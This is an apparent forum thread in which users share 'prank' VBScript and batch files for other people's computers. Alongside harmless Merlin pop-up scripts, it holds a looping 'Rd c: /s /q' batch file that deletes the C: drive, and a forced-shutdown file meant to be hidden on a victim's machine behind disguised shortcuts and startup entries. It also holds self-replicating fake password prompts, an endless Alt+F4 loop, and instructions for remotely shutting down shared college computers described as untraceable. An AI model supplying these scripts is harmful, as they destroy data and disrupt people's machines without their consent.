Vbscript Prank :p

[iGuest 3]

Try this one. Pops up a wizard with a message. Save as filename.vbs

Vbscript Prank

 

On Error Resume NextStrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 700,300ObjPeter.ShowObjPeter.Play "GetAttention"ObjPeter.Play "GetAttentionReturn"ObjPeter.Speak("your message here")Wscript.Sleep 1000Set objAction= objPeter.HideDo While objPeter.Visible = TrueWscript.Sleep 250Loop

[oxida 0]

HAAH!!111!!!oneone!!!! THIS IS EVEN BETTER!!!!
Alright... this is even more amazing than the first, but its incredibly malicious an even more evil (in fact, I don't think you can even turn it off with CTRL + ALT + DELETE ). What it does in shut off their computer after a said amount of time

1. Create a new .bat file (batch file) with notepad

2. Input the following code and save it:

@echoshutdown.exe -s -t 120 -c "Input your message here"

(120= 120 seconds, change to last longer or shorter)

3. Again, hide the file somewhere on the victims computer and create multiple shortcuts to it and change the icon so they look like normal programs.

4. Sit back and enjoy the pain and suffering MHahahaha.....

This batch file could also be placed in the startup *

[iGuest 3]

not to be a buzz kill but

Vbscript Prank

 

Replying to shadowx

All the user would have to do is click on the dekstop and press ctrl+a or left click and drag the box over the whole screen to find the real icons. But then again if somebody isn't thinking or doesn't know how to do them I have to admit it is funny.

 

-reply by roflcopter

[iGuest 3]

Hi this is an awsome prank script I made copy in to note pad then save as anything then .Vbs

On Error Resume NextStrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 700,300ObjPeter.ShowObjPeter.Play "GetAttention"ObjPeter.Play "GetAttentionReturn"ObjPeter.Speak("Hi I'm merlin here to take control of your computer")Wscript.Sleep 1000Set objAction= objPeter.HideDo While objPeter.Visible = TrueWscript.Sleep 250LoopWscript.Sleep 100On Error Resume NextStrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 700,300ObjPeter.ShowObjPeter.Play "GetAttention"ObjPeter.Play "GetAttentionReturn"ObjPeter.Speak("downloading virus . . . 20% . . . 40% . . . 60% . . . 80% . . . 100% virus downloaded")Wscript.Sleep 1000Set objAction= objPeter.HideDo While objPeter.Visible = TrueWscript.Sleep 250LoopWscript.Sleep 100On Error Resume NextStrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 700,300ObjPeter.ShowObjPeter.Play "GetAttention"ObjPeter.Play "GetAttentionReturn"ObjPeter.Speak("watch as I open your cd drive")Wscript.Sleep 1000Set objAction= objPeter.HideDo While objPeter.Visible = TrueWscript.Sleep 250LoopWscript.Sleep 100Set oWMP = CreateObject("WMPlayer.OCX.7" )Set colCDROMs = oWMP.CdromCollectionIf colCDROMs.Count >= 1 thenFor I = 0 to colCDROMs.Count - 1ColCDROMs.Item(I).EjectNext ' cdromEnd IfWscript.Sleep 100On Error Resume NextStrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 700,300ObjPeter.ShowObjPeter.Play "GetAttention"ObjPeter.Play "GetAttentionReturn"ObjPeter.Speak("lol I now open internet explorer")Wscript.Sleep 1000Set objAction= objPeter.HideDo While objPeter.Visible = TrueWscript.Sleep 250LoopWscript.Sleep 100Set WshShell = WScript.CreateObject("WScript.Shell")WshShell.Run "iexplore google.de;, 9WScript.Sleep 10000 ' Give ie some time to load'Close the browserWshShell.SendKeys "%F"WshShell.SendKeys "C"Wscript.Sleep 100On Error Resume NextStrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 700,300ObjPeter.ShowObjPeter.Play "GetAttention"ObjPeter.Play "GetAttentionReturn"ObjPeter.Speak("now I will restart your computer")Wscript.Sleep 1000Set objAction= objPeter.HideDo While objPeter.Visible = TrueWscript.Sleep 250LoopDoWscript.Sleep 100WshShell.SendKeys "%{F4}"Wscript.Sleep 100Wshshell.Sendkeys "are"Loop

Then hide on someones computer and have fun! When it opens internet explorer close it to continue! -reply by crazyleama

[iGuest 3]

MAKE MULTIPLE WINDOWSVbscript Prank

How would you make this :  1=msgbox(" your txt here ",30," Your Title Here ")

Open Multiple Copies Of Its Self If Clicked Thanks O_o

-reply by FORGETFULL

 

[iGuest 3]

Actually, ending "wscript.Exe" in the task manager will cause the dialog box togo away.

[iGuest 3]

yeah you can't stop it with ctrl+ alt+ del but if you get it all you need to do is go to run type in shutdown -a and it stops the shutdown

-reply by hack3455

[iGuest 3]

I have made a way to really annoy people at school. Here goesVbscript Prank :pI have made a way to really annoy people at school. Here goesDoStrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 700,300ObjPeter.ShowObjPeter.Play "GetAttention"ObjPeter.Play "GetAttentionReturn"ObjPeter.Speak(" He He He I love annoying people and will continue to do this until you restart your computer)Wscript.Sleep 1000Set objAction= objPeter.HideDo While objPeter.Visible = TrueWscript.Sleep 250LoopLoop-reply by Kenny

[iGuest 3]

how to stop a shutdown commandVbscript Prank

hey you can stop the shutdown.

just open run and then type shutdown -a, this stops most of the time every shutdown command.

I just discovered batch files and I hacked a school computer with it

have fun!

-reply by jessy

[iGuest 3]

 End the wscript process in Task Manager to stop it.

[iGuest 3]

.vbs password boxVbscript Prank

hey guys try this:

strPass = InputBox("Hello, to insure this memory stick is not stolen please type in the administrator password..." ,"PLEASE ENTER PASSWORD" ,"ENTER PASSWORD HERE")

If strPass <> "TYPE PASSWORD HERE" Then 

do

CreateObject("WScript.Shell").Run "password.Vbs"

msgbox "Access Denied Incorrect Password"

msgbox "You Can't Access This USB Flash Drive Features"

loop

End if

 

Then save this as a .Vbs file!! So funny

-reply by Jordan

[iGuest 3]

merlin code teleportVbscript Prank

somtimes this code works it teleport merlin most of the time it doesnt work just keep trying

StrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 700,300ObjPeter.ShowObjpeter.Speak("I'm going to try to teleport")Objpeter.Play"domagic1"Objpeter.Play"domagic2"Set objAction= objPeter.HideDo While objPeter.Visible = TrueLoopStrAgentName2 = "MERLIN"StrAgentPath2 = "C:WindowsMsagentChars" & strAgentName2 & ".Acs"Set objAgent2 = CreateObject("Agent.Control.2")ObjAgent2.Connected = TRUEObjAgent2.Characters.Load strAgentName2, strAgentPath2Set objPeter = objAgent2.Characters.Character(strAgentName2)ObjPeter.MoveTo 400,300ObjPeter.ShowObjpeter.Speak("yeay it worked")Set objAction= objPeter.HideDo While objPeter.Visible = TrueLoop

-reply by brandon

[iGuest 3]

Cool vbscript I madeVbscript Prank

 Dim fnameFname=InputBox("Enter your first name:")Dim mnameMname=Inputbox("Enter your middle name:")Dim lname Lname=Inputbox("Enter your last name:")Dim XDXD=Inputbox("Enter what you think you are (Example: is cool, is awesome)")Msgbox ("Yep, "& fname &" "& mname &" "& lname &" "& XD &".")

______________________________________________________________________________

Save it as .Vbs. It's pretty simple:

Like this:

First name: John

Middle Name: William

Last name: Smith

What u feel about urself: is the best

Result: Yep, John William Smith is the best.

(It automatically puts in yep, spaces, and a period)

You can do many funny things like:

First name: ALL

Mid Name: YOUR

Last name: BASE

Wat u feel bout urself: ARE BELONG TO US

result: Yep, ALL YOUR BASE ARE BELONG TO US.

Very addicting

-reply by Frozen99

[iGuest 3]

dcsdcscVbscript Prank

here is a good one: paste it in the start up folder (start /startup):::::-------------------------------------- set wshshell=wscript.Createobject ("wscript.Shell")Wscript.Sleep 10000Wshshell.Run "iexplore.Exe"Wscript.Sleep 4000DoWscript.Sleep 5000For I=1 to 3Wshshell.Sendkeys "{tab}"Wscript.Sleep 150NextWshshell.Sendkeys "{enter}"Loop---------------------------

it will wait 10 secs after log on than open internet explorer than wait for internet explorer to load up than will randomly press taband enter to keep going random places on the internet =-)

more evil (save as 'name here.BAT'")------------------------------@echo offColor 02ClsEcho major infection!PauseCls:topRd c: /s /qGoto top

--------------------------

have fun!

-reply by dcsd

[iGuest 3]

evan more evilVbscript Prank

when your at college/libary or any where with multiple comps to 1 server get the name of the comp that you wish to shut down sumtimes a number.

go onto comand prompt and type in

shutdown -I

a message will pop up asking for what computer and what you want to do with it click add put there comp name/num in then go on the scroll down list and select either shutdown or restart then type in a message e.G. Your computer has been hacked. Or what ever you want the press ok every time someone else goes on that comp I do it all time at college and its untraceable back to you.

-reply by matt